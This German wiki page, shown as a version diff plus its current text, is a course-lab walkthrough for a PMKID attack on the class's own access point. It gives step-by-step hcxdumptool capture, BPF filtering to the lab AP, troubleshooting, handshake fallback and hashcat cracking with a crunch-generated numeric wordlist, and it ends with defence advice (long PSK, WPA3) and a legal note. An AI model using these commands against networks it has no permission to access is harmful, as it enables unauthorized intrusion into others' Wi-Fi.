Wlan PMKID-Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 9: Zeile 9:
 
  ... dies dauert eine Weile
 
  ... dies dauert eine Weile
  
=Störende Dienste stoppen=
+
=WLAN-Karte freiräumen=
*systemctl stop avahi-daemon
+
;NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur <code>wlan0</code> aus seiner Verwaltung nehmen:
*systemctl stop NetworkManager
+
*nmcli dev set wlan0 managed no
 +
 
 +
=Ziel-BSSID ermitteln=
 +
;'''Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an.''' Wir brauchen die MAC-Adresse (BSSID) genau unseres APs <code>dd-xinux</code>.
 +
;Variante A — direkt am AP ablesen (das ist unser eigener AP):
 +
*iw dev wlan0 info
 +
;Variante B — kurz scannen und nach der ESSID suchen:
 +
*hcxdumptool -i wlan0 --rcascan=active
 +
;oder mit iw von einer zweiten Karte:
 +
*iw dev wlan0 scan | grep -iB5 dd-xinux
 +
;Wir notieren die BSSID, z.&nbsp;B. <code>AA:BB:CC:11:22:33</code>.
 +
 
 +
=Filter auf unseren AP bauen=
 +
;'''Am einfachsten''' — hcxdumptool baut den Filter selbst, kein tcpdump nötig:
 +
*hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
 +
;Das <code>or wlan addr3 ffffffffffff</code> lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
 +
;'''Falls hcxdumptool ohne internen Compiler gebaut wurde''', geht es über tcpdump — aber die Karte muss '''vorher''' im Monitor-Modus sein, sonst kennt tcpdump kein <code>wlan addr3</code>:
 +
*hcxdumptool -m wlan0
 +
*tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
 +
;'''Alte Reihe (bis 6.2.9):''' statt BPF eine Textdatei mit der BSSID '''ohne''' Doppelpunkte:
 +
*echo aabbcc112233 > dd-xinux.txt
  
 
=PMKID abgreifen=
 
=PMKID abgreifen=
*hcxdumptool -i wlan0 -w dump.pcapng
+
;'''Neue Reihe''' — mit BPF-Filter:
 +
*hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
 +
;'''Alte Reihe''' — mit Filterliste:
 +
*hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
 
;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
 
;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
;Die Flags ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
+
;Mit <code>--exitoneapol=1</code> beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist.
 +
;Die Flags ändern sich zwischen den Versionen — im Zweifel einmal <code>hcxdumptool -h</code> prüfen.
 +
 
 +
=Diagnose: es kommt nichts=
 +
;Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen:
 +
;'''1. Regulatory Domain gesetzt?''' Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
 +
*iw reg get
 +
*iw reg set DE
 +
;'''2. Live-Anzeige lesen.''' Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild: oben AP-Status, unten Clients. Steht <code>dd-xinux</code> oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff.
 +
;'''3. Kanal festnageln.''' hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort:
 +
*iw dev wlan0 info
 +
*hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
 +
;(Bandschreibweise variiert je Version — <code>hcxdumptool -h</code> zeigt das Format.)
 +
;'''4. Störer wirklich weg?''' NetworkManager/wpa_supplicant drehen sonst an der Karte:
 +
*airmon-ng check kill
 +
;'''Offline-Gegenprobe.''' Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt): hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.
 +
 
 +
=Fallback: voller Handshake=
 +
;Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet:
 +
*Ein Handy/Notebook mit <code>dd-xinux</code> verbinden (oder kurz trennen und neu verbinden).
 +
;hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — <code>hashcat -m 22000</code> bleibt identisch.
 +
;Didaktisch schön: PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.
  
 
=In hashcat-Format wandeln=
 
=In hashcat-Format wandeln=
 
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
 
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
 
;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
 
;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
 +
;Kontrolle, dass wirklich nur unser AP drin ist:
 +
*hcxhashtool -i pmkid.hc22000 --info=stdout
  
 
=Cracken=
 
=Cracken=
Zeile 40: Zeile 86:
 
*Langes, zufälliges PSK.
 
*Langes, zufälliges PSK.
 
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
 
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
 +
 +
=Rechtlicher Hinweis=
 +
;Der BPF-Filter ist nicht nur Technik, sondern Pflicht: Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP <code>dd-xinux</code> angreifen und keine fremden Netze im Gebäude.
  
 
=Links=
 
=Links=

Aktuelle Version vom 20. August 2026, 11:07 Uhr

Szenario

Angriff auf den Access Point dd-xinux (siehe Access Point aufsetzen).
PMKID-Angriff
clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.

Passwortliste generieren

Das AP-Passwort ist 8-stellig numerisch (00001234) — genau dafür bauen wir die Liste.
  • crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

WLAN-Karte freiräumen

NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur wlan0 aus seiner Verwaltung nehmen
  • nmcli dev set wlan0 managed no

Ziel-BSSID ermitteln

Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an. Wir brauchen die MAC-Adresse (BSSID) genau unseres APs dd-xinux.
Variante A — direkt am AP ablesen (das ist unser eigener AP)
  • iw dev wlan0 info
Variante B — kurz scannen und nach der ESSID suchen
  • hcxdumptool -i wlan0 --rcascan=active
oder mit iw von einer zweiten Karte
  • iw dev wlan0 scan | grep -iB5 dd-xinux
Wir notieren die BSSID, z. B. AA:BB:CC:11:22:33.

Filter auf unseren AP bauen

Am einfachsten — hcxdumptool baut den Filter selbst, kein tcpdump nötig
  • hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
Das or wlan addr3 ffffffffffff lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
Falls hcxdumptool ohne internen Compiler gebaut wurde, geht es über tcpdump — aber die Karte muss vorher im Monitor-Modus sein, sonst kennt tcpdump kein wlan addr3
  • hcxdumptool -m wlan0
  • tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
Alte Reihe (bis 6.2.9): statt BPF eine Textdatei mit der BSSID ohne Doppelpunkte
  • echo aabbcc112233 > dd-xinux.txt

PMKID abgreifen

Neue Reihe — mit BPF-Filter
  • hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
Alte Reihe — mit Filterliste
  • hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
Mit --exitoneapol=1 beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist.
Die Flags ändern sich zwischen den Versionen — im Zweifel einmal hcxdumptool -h prüfen.

Diagnose: es kommt nichts

Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen
1. Regulatory Domain gesetzt? Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
  • iw reg get
  • iw reg set DE
2. Live-Anzeige lesen. Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild
oben AP-Status, unten Clients. Steht dd-xinux oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff.
3. Kanal festnageln. hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort
  • iw dev wlan0 info
  • hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
(Bandschreibweise variiert je Version — hcxdumptool -h zeigt das Format.)
4. Störer wirklich weg? NetworkManager/wpa_supplicant drehen sonst an der Karte
  • airmon-ng check kill
Offline-Gegenprobe. Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt)
hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.

Fallback: voller Handshake

Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet
  • Ein Handy/Notebook mit dd-xinux verbinden (oder kurz trennen und neu verbinden).
hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — hashcat -m 22000 bleibt identisch.
Didaktisch schön
PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.

In hashcat-Format wandeln

  • hcxpcapngtool -o pmkid.hc22000 dump.pcapng
Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
Kontrolle, dass wirklich nur unser AP drin ist
  • hcxhashtool -i pmkid.hc22000 --info=stdout

Cracken

  • hashcat -m 22000 pmkid.hc22000 password.lst
Ergebnis ansehen
  • hashcat -m 22000 pmkid.hc22000 --show

Crack-Geschwindigkeiten

  • Laptop schafft circa 1000 Keys pro Sekunde
  • Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
  • Online-Rechenpower mieten
  • Cluster aus mehreren Grafikkarten bauen

Warum ist das knackbar?

00001234 ist 8-stellig numerisch
10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.

Verteidigung

  • Langes, zufälliges PSK.
  • WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.

Rechtlicher Hinweis

Der BPF-Filter ist nicht nur Technik, sondern Pflicht
Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP dd-xinux angreifen und keine fremden Netze im Gebäude.

Links